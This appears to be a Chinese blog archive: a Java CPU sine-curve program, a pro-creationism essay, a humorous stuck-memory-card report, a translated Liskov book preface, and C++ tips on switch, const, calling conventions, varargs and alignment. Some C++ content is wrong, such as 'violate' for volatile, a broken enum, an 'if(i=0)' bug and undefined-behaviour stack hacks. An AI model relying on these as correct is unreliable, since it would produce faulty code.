導入自 renren
據說是一道微軟的面試題。如題,寫程序,讓Windows的任務管理器中的性能監視器呈現正弦曲線。
潛心鑽研良久,得代碼:(java)
public class sincpu {
private static final int cycle=1024,tick = 256;
public static void main (String[] args) throws InterruptedException {
for(int i = 0;;i++){
work(calcNextSleep(i % cycle));
sleep(tick - calcNextSleep(i % cycle));
}
}
private static long calcNextSleep(long i){
return (int)(Math.sin((double)i * 2 * Math.PI / cycle) * tick + tick) / 2;
}
private static void sleep (long sleepTime) throws InterruptedException
{
if(sleepTime < 2)
Thread.yield();
else
Thread.sleep(sleepTime);
}
private static void work (long period) {
long start = System.currentTimeMillis();
for(;;){
Math.sin(1);
if(System.currentTimeMillis() - start >= period)
break;
}
}
}
多核CPU上測試時要注意關掉一個CPU:
導入自 renren
看到陳驫同學很有感想的一篇神創論與命運日誌,覺得近日很久沒有看到這樣的評論了。想說幾句自己的觀點。
首先我認爲,神創論與宿命論沒有多少關聯,甚至進化論者相較於神創論者更容易接受宿命論的觀點。因爲神創論主張意志的存在,人所具有的個體意志與神的意志,因此在神創論者的眼中事件的結果是可以通過意志來改變的,亦即如果我從物理樓11樓跳下,那麼我就可以改變自己死亡時間的宿命。上帝的意志同樣可以左右事件的結果,也就是所謂的宿命不復存在。而進化論者不承認意志獨立於物質世界的存在,你我的思考、行爲,都受到物理學法則諸如量子力學的約束,這就引出了北大物理系教授的那句“宇宙中的一切都是可以計算的”,亦即宿命論。如我我選擇現在從物理樓上跳下,我這一行爲並不是處於個人的獨立意志,乃是想證明這一點,亦即我跳樓這一舉動是有其背後的動機與原因的,就如同計算機的輸入必然導致了輸出,宿命的必然終結於此。
其次,關於事件的複雜度所導致的隨機化,在大量混沌隨機中也存在着如統計學和隨機分形學這樣的規律,並不是否認宿命的充分理由。
關於神創論的合理性問題。我認爲是否相信神的存在只是一個boolean二值問題,它爲true爲false本身並不重要,重要的是確定它的取值之後得到的推論與結果。如果否認神的存在,如現代數學這樣的完美又何以存在,進化論者的解釋是事物最終會向着更好更高級的方向發展,產生現代數學乃至現代科學是發展的必然。而這種論調顯然有悖於物理中以熱力學第二定律爲首的,預言事物會隨時間推演愈發混亂的論斷。更進一步,甚至整個人類、整個生物系統的存在都是有悖於熱力學推論的現象,是某種理論只能以“小概率事件”解釋的現象。
神創論的核心觀點之一,是神的唯一存在性,按照鄒恆明的比喻,這就如同數學中集閤中元素的的唯一性一般至關重要。數學乃至近代科學的發展,其起源在於這種對神性的探求,而不僅僅是好奇心就可以解釋的。反觀東方文化中數學的發展,開始時領先於西方科學千餘每年,但是始終作爲一種craft-oriented的實用主義學科。可以說沒有了神的唯一性支持,人們就不能確信自己能找到這樣一種完美高效的學科,只能在實用的基礎上發展其基礎算數。可以想象,沒有神的完美與唯一性,數學必將發展成現代化學或者微軟軟件這樣,龐大而充滿特例,到處都是修補與查表,怎麼會像現在的完美、簡潔與和諧。
神創論者並不是將難題推與“神”然後放任不管,他們相信神是最爲理智的存在,創人時人同樣得到了神的智慧和理智,也就是神可以用人的理智來理解。
引用牛頓《自然哲學的數學原理》中終章的話“太陽、恆星、行星的這個極精緻的結構不可能存在,除非通過一個有理智的和有權能的存在的設計和主宰……他不是作爲宇宙的靈魂,而是作爲一切的主宰而統治所有……”
以上……
(發現最近的哲理思維果然慢了不少,寫作思緒也一片混亂^_^)
故障描述: MMC Memory Stick Duo記憶棒未經Adapter適配器,直接插入SD Reader,致使MMC卡入SD Reader中。
棧展開: 某日下午,無課。 忙於數分作業,想查詢用手機拍攝的板書照片。 取出手機中的MMC。 未經裝配Adapter,直接插入SD Reader。 (A runtime exception was thrown.) 嘗試翻轉筆記本機身,倒出MMC,未果。(rethrow) 嘗試用手指甲取出,未果。(rethrow) 考慮到有“推入反彈”機制,嘗試將MMC推入更深,反彈機制由於類型不匹配而失效,未果。(rethrow) (The exception spread across the border of the model.) 電腦維修技師接手(catch) 技師未能發現問題所在,由我解說原委。 (Because the exception lose the information, RTTI was asked to recall the information) 技師發現問題,嘗試用鑷子鑷出MMC,未果。 技師開解機箱(expose the data structure) 技師製作鉤子,勾出MMC(hooker link to the structure) 取出MMC,故障解除
故障總結 1.接收到沒有完全瞭解、或沒有適當工具解決的exception時,不要嘗試用不成熟的技術解決,應儘快尋求能解決它的代碼。否則,被反覆rethrow的exception,尤其是通過模塊邊界的exception,有可能由subclass退化爲superclass,並因此而喪失一些信息。儘量不要讓exception丟失信息,必要時,通過RTTI機制尋回信息。
2.超負荷運轉,多線程執行,這種種複雜性都有可能導致錯誤,應避免。無論你有多麼信任你的代碼或能力。
3.在設計class的interface時,相匹配的interface應該滿足is-a的關係。因此,任何能插入SD Reader的object,即任何實現了SD interface的object,都應該is-a SD card。這次故障中,interface接受了MMC,但MMC不是SD。即使這種情況下throw an exception,都不能使事態緩和。能提供compile-time error時,儘量讓錯誤以compile-time error的形式展現,並在事先解決。類型匹配問題是應該能在事先解決的問題。
4.Design patterns中的Adapter pattern應該只是迫不得已情況之下的解決方案。只有當你無權改變現狀時,才能使用Adapter。如果能改變現狀,應該改變設計以符合interface。
5.因爲上條,所有相似功能的對象應具有相同的interface,不同的interface是本次故障的根源所在。
6.特殊情況下,破壞封裝機制並expose the data structure是必要的,應該有方法支持這種做法。C的指針和C#的Reflection技術都以不同的方式支持這種做法。其他的一些語言機制,比如serializing(序列化)或streaming(流化),也可以以某種方式間接支持這一做法。當然,機制還應避免這種做法被濫用。
7.相反功能具有相同操作的設計,容易造成使用的混亂,應適當避免。比如SD Reader的推入反彈設計,即插入和彈出使用同一個向裏推的操作的設計。同樣的設計還包括,C++中的setNewHandle使用同一個函數,同時設置和返回handle。以及有些書中提倡的,使用同名函數重載的方式,實現setter/getter的設計。
8.特殊工具(hooker)對於解決特定問題,通常比手工解決有效。不要嫌麻煩而不願意構造特殊工具。
9.棧語義,即FILO順序,總在不知不覺中影響我們。違反了FILO順序的操作極易造成混亂。本故障發生時正確的處理順序爲: 裝配Adapter 插入SD Reader 讀取數據 停用設備 拔出SD Reader 拆解Adapter 本次故障的原因就是違反了FILO順序,違反了棧語義。
Barbara Liskov 、John Guttag 著
構建產品級質量的程序——可以在很長一段時間內使用的程序——衆所周知是極其困難的。本書的目標就是改善程序員解決這項任務的效率。我希望讀者在閱讀本書之後成爲一名好程序員。我相信本書的成功在於改善編程技巧,因爲我的學生告訴我這已經發生在他們身上。
怎麼纔算是一名好程序員?是產生整個程序產品的效率。關鍵是要在每一階段減少浪費掉的努力。解決的方法包括:在開始編寫代碼之前就仔細考慮你的實現方案,通過未雨綢繆的方法來編寫代碼,使用嚴格的測試在早期發現錯誤,以及仔細注意模塊化編程,這樣當錯誤出現時,只需要改動極少數代碼就可以修正整個程序。本書涉及所有這些領域的技術。
模塊化編程(Modularity)是編寫好程序的關鍵。把程序分解成許多小模塊,每一個模塊通過良好定義的狹窄接口和別的模塊交互作用(interact)。有了模塊化,可以修正一部分程序中的錯誤而不考慮程序的其他部分,而且可以僅僅理解一部分程序而不必理解整個程序。沒有模塊化,程序是一大堆有着錯綜複雜的相互關係的部分的拼湊。很難去領悟和修改這樣一個程序,同樣也很難讓它正常工作。
因此本書的重點在於創建模塊化的程序:怎樣把程序組織成一系列精心挑選的模塊。本書認爲模塊化就是抽象(abstraction)。每一個模塊意味着一個抽象,比如說指引一系列文檔中的關鍵字的目錄,或者在文檔中使用目錄來查找匹配某個問題的文檔的過程。着重強調面向對象編程思想——在程序中使用數據抽象和對象的思想。
本書《程序開發原理》有兩種使用方法。其一是作爲課本教材,講述如何用面向對象的方法來設計和實現複雜系統;其二是編程專家使用,幫助他們改善編程技能,增進他們的關於模塊化和Object-Oriented(面向對象)設計的知識。
作爲教材使用時,本書一般作爲第二或第三門程序設計課程。我們已經在MIT使用本書很多年,給大一大二的本科生教授第二門編程課。在這一階段,學生們已經知道怎樣編寫小程序。課程在兩方面利用這一點:讓學生更仔細地思考小程序,以及教他們如何利用小程序作爲組件構建大型程序。這本書也可以在專業(如軟件工程)後期教學中使用。
這一部分的書集中討論抽象機制(abstraction mechanism)。它討論procedure(子程序)和exception(異常),數據抽象,遍歷(iteration)抽象,數據抽象系列(family)以及多態(polymorphic)抽象。
在對抽象的討論中,三個步驟是重要的。首先是決定被抽象的東西到底是什麼:它提供給它的用戶哪些行爲。創造抽象是設計的關鍵,因此本書討論如何在衆多選擇中挑選,以及怎樣才能創造出好的抽象。
第二步是通過爲一個抽象制定一個規格(specification)來獲取它的意義。如果沒有一些描述,一個抽象就會含糊不清,而變得沒有使用價值。specification則提供了需要的描述。本書定義了一種specification的格式,討論了一份好的specification應有的屬性,並且提供了許多示例。
第三步是實現抽象。本書討論怎樣設計一份實現,以及在簡潔性和執行性能之間怎樣權衡利弊。書中強調封裝(encapsulation)的重要性以及在一份實現中履行規格中定義的行爲的重要性。書中同樣提供一些技術——尤其是不變式斷言(representation invariant)和抽象函數(abstraction function)——來幫助讀者理解代碼和它的原因。不變式斷言和抽象函數都實現到儘可能的程度,這對於除錯和調試很有用。
關於類型層次(type hierarchy)的材料注重討論使用它作爲抽象的技術——一種把相關聯的一組數據抽象歸入同一系列的技術。這裏很重要的一點是,是否應當將一個類型作爲另一個類型的子類。本書定義了替換原則——通過比較子類和父類的specification,來決定是否建立子類關係的方法[1]。
本書的其後部分講解怎樣用模塊化的方法設計和實現大型程序。它建立在前文有關abstraction和specification的材料的基礎之上。
編寫大型程序涵蓋四個主要議題。首先講解需求分析——怎樣才能領悟程序中需要什麼。本書討論怎樣實施需求分析,也討論書寫產生的需求規格的方式,通過使用一種描述程序的抽象階段的數據模型。使用這種模型將產生一份更爲正式的specification,同時它也使需求檢查更加嚴格,這樣可以更好的領悟需求。
編寫大型程序的第二項議題是程序設計,這通常是一個循序漸進的過程。設計過程圍繞構建有用的抽象來組織,這些抽象作爲整個程序之中理想的構建組建。這些抽象在設計時被仔細的編寫規格,這樣當程序實現時,那些實現抽象的模塊可以獨立地開發。這種設計使用設計筆記編寫文檔,包括描述整個程序結構的模塊間依賴性的圖示。
第三項議題是實現和測試。本書討論了前置設計分析對於實現的必要性,以及怎樣進行設計複審。它同樣討論了設計和實現的順序。這一部分比較了自頂而下與自底而上的組織方式,討論如何使用驅動程序和佔位程序[2](stub),並且強調了制定一個事先的順序策略的必要性,以滿足開發組織和客戶的需求。
[1] 譯註:如果子類的specification包括了所有父類的specification,就是說父類的要求也是子類的要求,或者子類的要求更爲嚴格,那麼可以建立父子關係。而替換原則的說法是,對於具有父子關係的類,任何需要一個父類對象的地方,都可以替換爲一個子類對象。
[2] 譯註:在測試某一組建時,由於其餘組建還未實現,這一組建與其餘組建的接口銜接部分無法工作。此時可以針對這一組建編寫其餘組建的佔位程序(stub),預留出接口的銜接代碼。佔位代碼通常不做任何有價值的事情,只報告組建的銜接部位工作正常。
[3] 譯註:作者指的是設計模式的開山之作——《Design Patterns—Elements of Reusable Object-Oriented Software》,作者爲設計模式界著名的“四人幫”GoF(Gang of Four)。此書詳盡討論了三大類共23個廣泛使用的設計模式的適用範圍、依存關係、實現細節以及已有的應用領域等問題。書中以C++和Smalltalk爲示例語言,不過書中所涉及的模式適用於所有面向對象的語言。
goto語句及標號(label)是最古老的C語言特性,也是最早被人們拋棄的語言特性之一。像彙編語言中的jmp指令一樣,goto語句可以跳轉到同一函數體中任何標號位置:
void f()
{int i=0;
Loop: //A label
++i;
if(i<10)goto Loop; //Jump to the label
}
在原始而和諧的早期Fortran和Basic時代,我們沒有if then else,沒有for和while,甚至沒有函數的概念,一切控制結構都靠goto(帶條件的或無條件的)構件。軟件工程師將這樣的代碼稱作“意大利麪條”代碼。實踐證明這樣的代碼極容易造成混亂。
自從證明了結構化的程序可以做意大利麪條做到的任何事情,人們就開始不遺餘力地推廣結構化設計思想,將goto像猛獸一般囚禁在牢籠,標號也因此消失。
標號唯一散發餘熱的地方,是在switch中控制分支流程。
很多人不甚瞭解switch存在的意義,認爲它只是大型嵌套if then else結構的縮略形式,並且比if語句多了很多“不合理”的限制。如果你瞭解到switch在編譯器內部的實現機制,就不難理解強加在switch之上的諸多限制,比如case後只能跟一個編譯期整型常量,比如用break結束每一個case。首先看一個switch實例:
switch (shape.getAngle())
{
case 3: cout<<”Triangle”;break;
case 4: cout<<”Square”;break;
case 0:case1: cout<<”Not a sharp!”;break;
default: cout<<”Polygon”;
}
任何程序員都可以寫出與之對應的if結構:
int i= getAngle(shape);
if (i==3) cout<<”Triangle”;
else if(i==4) cout<<”Square”;
else if(i==0||i==1) cout<<”Not a sharp!”;
else cout<<”Polygon”;
看起來這兩段代碼在語義上是完全一樣的,不是麼?
不!或許代碼的執行結果完全一樣,但是就執行效率而言,switch版本的更快!
要了解爲什麼switch的更快,我們需要知道編譯器是怎樣生成switch的實現代碼的:
首先,保留switch之後由{}括起來的語具體,僅將其中case、default和break替換爲真正的標號:
switch (getAngle(shape))
{
_case_3: cout<<”Triangle”;goto _break;
_case_4: cout<<”Square”; goto _break;
_case_0:_case_1: cout<<”Not a sharp!”; goto _break;
_default: cout<<”Polygon”;
_break:
}
隨後,對於所有出現在case之後的常量,列出一張只有goto的跳轉表,其順序按case後的常量排列:
goto _case_0;
goto _case_1;
goto _case_3;
goto _case_4;
然後,計算case之後的常量與跳轉表地址之間的關係,如有需要,在跳轉表中插入空缺的項目:
100105: goto _case_0;
100110: goto _case_1;
100115: goto _default; //因爲沒有case 2,所以插入此項以條轉到default
100120: goto _case_3;
100125: goto _case_4;
假設一個goto語句佔用5個字節,那麼在本例中,goto的地址=case後的常量*5+100105
之後,生成跳轉代碼,在其餘條件下跳轉至default,在已知範圍內按照公式跳轉,全部的實現如下:
{
int i= getAngle(shape);
if (i<0||i>=5)goto _default;
i=i*5+100105; //按照得出的公式算出跳轉地址
goto i; //僞代碼,C中不允許跳轉到整數,但是彙編允許
100105: goto _case_0;
100110: goto _case_1;
100115: goto _default;
100120: goto _case_3;
100125: goto _case_4;
_case_3: cout<<”Triangle”;goto _break;
_case_4: cout<<”Square”; goto _break;
_case_0:_case_1: cout<<”Not a sharp!”; goto _break;
_default: cout<<”Polygon”;
_break:
}
經過這樣處理整個switch結構,使得無論switch後的變量爲何值,都可以通過最多兩次跳轉到達目標代碼。相比之下if版本的代碼則採用線性的比較和跳轉,在case語句很多的情況下效率極低。
由此,我們也可以知道,爲什麼case後跟的一定是編譯期整型常數,因爲編譯器需要根據這個值製作跳轉表。我們可以明白爲什麼case與case之間應該用break分隔,因爲編譯器不改變switch語句體的結構,case其本身只是一個具有語義的標號而已,要想跳出switch,就必須用break語句。
首先要搞清楚的是,什麼是左值,什麼是右值。這裏給出左值右值的定義:
1、左值是可以出現在等號(=)左邊的值,右值是隻能出現在等號右邊的值。
2、左值是可讀可寫的值,右值是隻讀的值。
3、左值有地址,右值沒有地址。
根據左值右值的第二定義,值的左右性就是值的常量性——常量是右值,非常量是左值。比如:
1=1;//Error
這個複製操作在C++中是語法錯誤,MSVC給出的錯誤提示爲“error C2106: '=' : left operand must be l-value”,就是說’=’的左操作數必須是一個左值,而字面常數1是一個右值。可見,嚴格的區分左值右值可以從語法分析的角度找出程序的邏輯錯誤。
根據第二定義,一個左值也是一個右值,因爲左值也可讀,而一個右值不是一個左值,因爲右值不可寫。
通常情況下,聲明的變量是一個左值,除非你指定const將它變成一個右值:
int lv=1;
const int rv=lv;
由於右值的值在程序執行期間不能改變,所以必須用另一個右值初始化它。
一個普通變量只能用右值初始化,如果你想傳遞左值,必須聲明一個引用或一個指針:
int & ref=lv;//用引用傳遞左值
int * plv=&lv;//傳遞指針以間接傳遞左值
必須用左值初始化引用,然而,可以用右值初始化常量引用:
int & r1=1; //Error!
const int & r2=1; //OK
這實際上相當於:
int _r2=1;
const int & r2=_r2;
這樣的寫法在函數體內沒什麼作用,但是在傳遞函數參數時,它可以避免潛在的(傳遞左值時的)複製操作,同時又可以接受右值。
通常情況下,函數的參數和返回值都只傳回右值,除非你明確的通過引用傳遞左值。
明確了左值與右值的區別,有助於我們寫函數時確定什麼時候應該有const,什麼時候不該有。比如,我們寫了一個代表數學中複數的類Complex:
class Complex;
然後,我們寫針對Complex的運算符重載:operator+和operator=。問題在於,參數和返回值應該是什麼類型,可選類型有四種: Complex、const Complex、Complex&、const Complex&。
對於operator+,我們不會改變參數的值,所以可以通過const Complex&傳遞參數。至於返回值類型,由於int類型的加法返回右值,所以根據Do as the ints do的原則,返回值類型爲const Complex:
const Complex operator+(const Complex&,const Complex&);
對於operator=,同樣要思考這些問題。我們寫入第一個參數,所以第一個參數爲Complex&,我們只讀取第二個參數,所以第二個參數爲const Complex&。至於返回值,還是Do as the ints do。int的賦值返回左值,不信你可以試一試:
int i;
(i=1)=2;
雖然比較傻,先將i賦爲1,再將其改爲2,但是這是被C++語法支持的做法,我們就理應遵守。所以返回第一個參數的左值:
Complex& operator=(Complex&,const Complex&);
const是C++引入的語言特性,也被ANSI C99借鑑,在經典版本的C語言中是沒有的。關於const的歷史,有幾點值得玩味。最初Bjarne Stroustrup引入const時,可寫性是和可讀性分開的。那時使用關鍵字readonly和writeonly。這個特點被首先提交到C的ANSI標準化委員會(當時還沒有C++標準化的計劃),但是ANSI C標準只接受了readonly的概念,並將其命名爲const。隨後,有人發現在多線程同步的環境下,有些變量的值會在編譯器的預料之外改變,爲了防止過度優化破壞這些變量,C++又引入關鍵字violate。從語義特點來看,violate是const的反義詞,因爲const表示不會變的量,而violate表示會不按照預期自行變化的量。從語法特點而言,violate與const是極爲相似的,適用於const的一切語法規則同樣適用於violate。
值的常量性可以被劃分爲兩種:編譯期常量和運行期常量。C++語法並沒有嚴格區分這兩種常量,導致了少許混亂:
const int i=5;const int * pi=&i;
const_cast<int&>i=1;//對於運行期常量,在需要時可以去除它的常量性
int a[i];//對於編譯期常量,可以用它來指定數組大小
cout<<i<<sizeof(a)/sizeof(a[0])<<*pi;
這種將編譯期與運行期常量的特性混用的方法,勢必導致語義的混亂。數組a的大小最終是5,因爲採用了i的編譯期值,而不管i在運行期是否被改變了值。最後一句代碼將(有可能)輸出551,第一個i的值作爲一種優化在編譯期綁定,第二個值標明瞭a的大小,第三個值通過指針顯示地輸出i的運行期真實值。
在C++的近親C#的語法中,這兩種常量被嚴格地區分開:編譯期常量由const指定,只能是內建類型變量;運行期常量由readonly指定,可以是任何類型。永遠不會改變的常量,如圓周率pi的值,應該用const聲明;而其它有可能改變的常量,皆由readonly聲明。
C++中的const的特點更傾向於C#中的readonly,雖然語法上允許使用const的編譯期常量性,但正如上文所展示的,這容易造成混亂。爲了得到C#中const的語義,在C++中,我們不必迴歸惡魔#define的懷抱,可以使用所謂“匿名enum技巧”。當匿名聲明一個enum類型時,其中的枚舉值就是一個int類型的編譯期常量,比如:
enum{Size=5;};
int a[Size];
這種使用匿名enum來聲明編譯期常量的做法,被廣泛應用於STL、boost等模板庫的實現代碼中。
衆所周知,I386是32位體系結構。因此對於絕大多數I386平臺的C++編譯器而言,sizeof(int)=sizeof(long)=sizeof(void*)=4。當然C++標準對此沒有任何保證,我們也不應該試圖編寫依賴於此的代碼。
由代碼加載器從動態鏈接庫鏡像(通常是exe或dll文件)加載,通常定位到鏡像文件中指定的基址開始的內存區。如果基址所在內存已被佔用,動態連接器會將代碼或數據重定向到其它可用地址。
棧是最常用的動態數據存儲區,所有函數的non-static對象和函數參數都在程序運行期在棧上分配內存。在數據結構中,術語“棧(Stack)”意指先進後出(FILO,First In Last Out),與“隊列(Queue)”所指的FIFO相對。相對於基於堆的對象分配技術,默認使用棧的對象分配有兩點優勢:
一、棧的FILO與人的思維方式相同
現實生活中有許多事例都使用FILO的方式,比如人們必須先提起話筒再撥打號碼,而後掛斷電話之後再放下話筒。使用FILO的棧,可以保證事物的銷燬順序以其誕生順序相反的順序進行,不會產生在掛斷電話之前就放下話筒的尷尬。
二、棧的分配管理僅需要兩個額外指針:棧頂(esp)和棧底(ebp)指針
從實現的技術層面而言,棧的管理比其它動態分配技術要簡單很多。I386平臺上的動態棧管理,僅需要棧頂和棧底兩個指針。這兩個指針的存儲顯然不能放置於棧中,置於靜態數據區又有損效率。I386平臺爲管理動態棧專門預留了兩個通用寄存器變量esp與ebp,分別代表棧頂(esp,Extended Stack Pointer)與棧底(Extended Bottom Pointer)指針。其中的extended代表它們是32位指針,以區分16位的sp和bp寄存器。
棧中的變量對於分配與釋放的順序有特定要求,這在一定程度上限制了棧的適用範圍。面向對象(OO,Object Oriented)的程序設計思想也要求能自由地控制變量的分配與銷燬。由此,現代操作系統都提供了被稱作“堆(Heap)”的自由存儲區,以允許由程序員控制的對象創建和銷燬過程。C標準庫函數malloc和free則是對操作系統提供的堆操作的封裝。C++提供的自由存儲區運算符new和delete則通常是malloc和free的又一層封裝。
操作系統經由malloc和free控制對堆的訪問。堆的存儲管理技術各不相同,簡單的使用雙鏈表管理,複雜的可以比擬一個完整的文件系統。
由於額外的管理需求,使用系統提供的通用分配器在堆上分配和銷燬變量的代價,無論從空間角度還是效率角度而言,都比在棧上分配對象要高昂很多。對於sizeof上百的大型對象,這樣的高昂代價還是可以接受的,但是對於sizeof只有個位數的小對象,這樣的代價通常是一個數量級的差距。正因爲這個原因,STL不使用new和delete,轉而使用分配子(alllocor)分配對象。
C++ Tricks
By FarseerFc
從今天起,我再將在Live Space和QQZone同時發表一系列文章,暫定名爲“C++Tricks”。
本文旨在記錄和闡述一些本人學習C++時所得的心得、技巧。總體來看,本文涉及的內容是每一個C++程序員都應該知道的,但是很少見諸C++教材。希望對各位同仁學習C++有所幫助。
參數壓棧順序:逆序(從右至左)
參數堆棧恢復者:主調函數(caller)
參數壓棧順序:逆序(從右至左)
參數堆棧恢復者:被調函數(callee)
參數壓棧順序:逆序(從右至左),this用ecx傳遞。
參數堆棧恢復者:被調函數(callee)
參數壓棧順序:逆序(從右至左),前兩個32位函數參數放入ecx和edx中
參數堆棧恢復者:被調函數(callee)
參數壓棧順序:正序(從左至右)
參數堆棧恢復者:被調函數(callee)
__syscall:操作系統內部使用的函數調用模型,由用戶模式向核心模式跳轉時使用的模型。由於用戶模式和核心模式使用不同的棧,所以沒辦法使用棧來傳遞參數,所有參數通過寄存器傳遞,這限制了參數的數量。用戶模式編程中不允許使用。
__fortran:數學運算語言fortran使用的函數模型,由此得名。在C中調用由fortran編譯的函數時使用。
__clrcall:微軟.Net框架使用的函數模型,託管(Managed)C++默認使用,也可以從非託管代碼調用託管函數時使用。參數在託管棧上正序(從左至右)壓棧,不使用普通棧。
CALLBACK、PASCAL、WINAPI、APIENTRY、APIPRIVATE:I386平臺上是__stdcall的別名
函數調用模型的指定方式和inline關鍵字的指定方式相同,事實上,inline可以被看作是C++語言內建的一種函數調用模型。唯一不同的是,聲明函數指針時,也要指明函數調用模型,而inline的指針是不能指明的,根本不存在指向inline函數的指針。比如:
int CALLBACK GetVersion();
int (CALLBACK * pf)()=GetVersion;
基於前文(2.4節)分析,我們可以不通過函數簽名,直接通過指針運算,來得到函數的參數。由於參數的壓棧和彈出操作都由主調函數進行,所以被調函數對於參數的真實數量不需要知曉。因此,函數簽名中的變量聲明不是必需的。爲了支持這種參數使用形式,C語言提供可變參數表。可變參數表的語法形式是在參數表末尾添加三個句點形成的省略號“...”:
void g(int a,char* c,...);
省略號之前的逗號是可選的,並不影響詞法語法分析。上面的函數g可以接受2個或2個以上的參數,前兩個參數的類型固定,其後的參數類型未知,參數的個數也未知。爲了知道參數個數,我們必須通過其他方法,比如通過第一個參數傳遞:
g(3,”Hello”,2,4,5);//調用g並傳遞5個參數,其中後3個爲可變參數。
在函數的實現代碼中,可以通過2.4節敘述的,參數在棧中的排列順序,來訪問位於可變參數表的參數。比如:
void g(int a,char* c...){
void *pc=&c;int* pi=static_cast<int*>(pc)+1;//將pi指向首個可變參數
for(int i=0;i<a;i++)std::cout<<pi[i]<<” ”;
std::cout<<c<<std::endl;
}
我們甚至可以讓一個函數的所有參數都是可變參數,只要有辦法獲知參數的數量即可。比如,我們約定,在傳遞給addAll的參數都是int,並且最後一個以0結束:
int addAll(...);
int a=f(1,4,2,5,7,0);
那麼addAll可以這樣實現:
int addAll(...){
int sum=0;int *p=∑ //p指向第一個局部變量
p+=3; //跳過sum,ebp,eip,現在p指向第一個參數
for(;*p;++p) //如果p不指向0就繼續循環
sum+=*p;
return sum;
}
可變參數表的最廣泛應用是C的標準庫函數中的格式化輸入輸出:printf和scanf。
void printf(char *c,...);
void scanf(char *c,...);
兩者都通過它的首個參數指出後續參數表中的參數類型和參數數量。
如果可變參數表中的參數類型不一樣,那麼操縱可變參數表就需要複雜的指針運算,並且還要時刻注意邊界對齊(align)問題,非常令人頭痛。好在C標準庫提供了用於操縱可變參數表的宏(macro)和結構(struct),他們被定義在庫文件stdarg.h中:
typedef struct {char *p;int offset;} va_list;
#define va_start(valist,arg)
#define va_arg(valist,type)
#define va_end(valist)
其中結構va_list用於指示參數在棧中的位置,宏va_start接受一個va_list和函數的可變參數表之前的參數,通過第一個參數初始化va_list中的相應數據,因此要使用stdarg.h中的宏,你的可變參數表的函數必須至少有一個具名參數。va_arg返回下一個類型爲type的參數,va_end結束可變參數表的使用。還是以上文的addAll爲例,這次寫出它的使用標準宏的版本:
int addAll(int i,...)
{
va_list vl; //定義一個va_list結構
va_start(vl,i); //用省略號之前的參數初始化vl
if(i=0)return 0; //如果第一個參數就是0,返回
int sum=i; //將第一個參數加入sum
for(;;){
i=va_arg(vl,int); //取得下一個參數,類型是sum
if(i==0)break; //如果參數是0,跳出循環
sum+=i;
}
va_end(vl);
return sum;
}
可以看出,如果參數類型一致,使用標準庫要多些幾行代碼。不過如果參數類型不一致或者未知(printf的情況),使用標準庫就要方便很多,因爲我們很難猜出編譯器處置邊界對齊(align)等彙編代碼的細節。使用標準庫的代碼是可以移植的,而使用上文所述的其它方法操縱可變參數表都是不可移植的,僅限於在I386平臺上使用。
縱使可變參數表有使用上的便利性,它的缺陷也有很多,不可移植性和平臺依賴性只是其一,最大的問題在於它的類型不安全性。使用可變參數表就意味着編譯器不對參數作任何類型檢查,這在C中算是一言難盡的歷史遺留問題,在C++中就意味着惡魔reinterpret_cast被你喚醒。C的可變參數表是C++代碼錯誤頻發的根源之一,以至於C++標準將可變參數表列爲即將被廢除的C語言遺留特性。C++語法中的許多新特性,比如重載函數、默認參數值、模板,都可以一定程度上替代可變參數表,並且比可變參數表更加安全。
可變參數表在C++中惟一值得嘉獎的貢獻,是在模板元編程(TMP)的SFINAE技術中利用可變參數表製作最差匹配重載。根據C++標準中有關函數重載決議的規則,具有可變參數表的函數總是最差匹配,編譯器在被逼無奈走頭無路時纔會選擇可變參數表。利用這一點,我們可以精心製作重載函數來提取類型信息。比如,要判斷一個通過模板傳遞來的類型是不是int:
long isIntImp(int);
char isIntImp(...);
template<typename T>
struct isInt
{
enum{value=sizeof(isIntImp(T()))==sizeof(long);}
}
然後,在一個具有模板參數T的函數中,我們就可以寫
if(isInt<T>::value)//...
在這個(不怎麼精緻的)例子中,如果T是int,那麼isIntImp的第一個重載版本就會被選中,返回值類型就是long,這樣value就爲1。否則,編譯器只能選中第二個具有可變參數表的重載版本,返回值類型成爲char,這樣value就爲0。把它說得再明白一些,上文的代碼所表達的意思是:如果類型T是int,那它就是int,否則它就不是int,呵呵簡單吧。這種通過重載決議規則來提取類型信息的技術,在模板元編程中被稱作SFINAE,它和其它模板元編程技術被廣泛運用於STL、Boost等模板庫的開發實現之中。
值得注意的是,在上文SFINAE的運用中,isIntImp並沒有出現定義而只提供了聲明,因爲我們並沒有實際調用isIntImp函數,而只是讓它參與重載決議並用sizeof判斷其返回值類型。這是C++的一個設計準則的完美體現:不需要的東西可以不出現。由於這一準則,我們避免了在C++中調用具有可變參數表的函數這一危險舉動,而僅僅利用了可變參數表在語法分析過程中的特殊地位,這種對於危險語言特性的巧妙利用是善意而無害的。
首先提問,既然I386上sizeof(int)==4、sizeof(char)==1,那麼如下結構(struct)A的sizeof是多少?
struct A{int i;char c;};
答案是sizeof(A)==8……1+5=8?
呵呵,這就是I386上的邊界對齊問題。我們知道,I386上有整整4GB的地址空間,不過並不是每一個字節上都可以放置任何東西的。由於內存總線帶寬等等的技術原因,很多體系結構都要求內存中的變量被放置於某一個邊界的地址上。如果違反這個要求,重則導致停機出錯,輕則減慢運行速度。對於I386平臺而言,類型爲T的變量必須放置在sizeof(T)的整數倍的地址上,char可以隨便放置,short必須放在2的整數倍的地址上,int必須放在4的整數倍的地址上,double必須放在8的整數倍的地址上。如果違反邊界對齊要求,從內存中讀取數據必須進行兩次,然後將獨到的兩半數據拼接起來,這會嚴重影響效率。
由於邊界對齊問題的要求,在計算struct的sizeof的時候,編譯器必須算入額外的字節填充,以保證每一個變量都能自然對齊。比如如下聲明的struct:
struct WASTE
{
char c1;
int i;
char c2;
}
實際上相當於聲明瞭這樣一個結構:
struct WASTE
{
char c1;
char _filling1 [3];//三個字節填充,保證下一個int的對齊
int i;
char c2;
char _filling2 [3];//又三個字節填充
}
值得注意的是尾部的3個字節填充,這是爲了可以在一個數組中聲明WASTE變量,並且每一個都自然對齊。因爲有了這些填充,所以sizeof(WASTE)==12。這是一種浪費,因爲只要我們重新安排變量的聲明,就可以減少sizeof:
struct WASTE
{
int i;
char c1,c2;
}
像這樣的安排,sizeof就減少到8,只有2個字節的額外填充。爲了與彙編代碼相兼容,C語言語法規定,編譯器無權擅自安排結構體內變量的佈局順序,必須從左向右逐一排列。所以,妥當安排成員順序以避免內存空間的浪費,就成了我們程序員的責任之一。一般的,總是將結構體的成員按照其sizeof從大到小排列,double在最前,char在最後,這樣總可以將結構的字節填充降至最小。
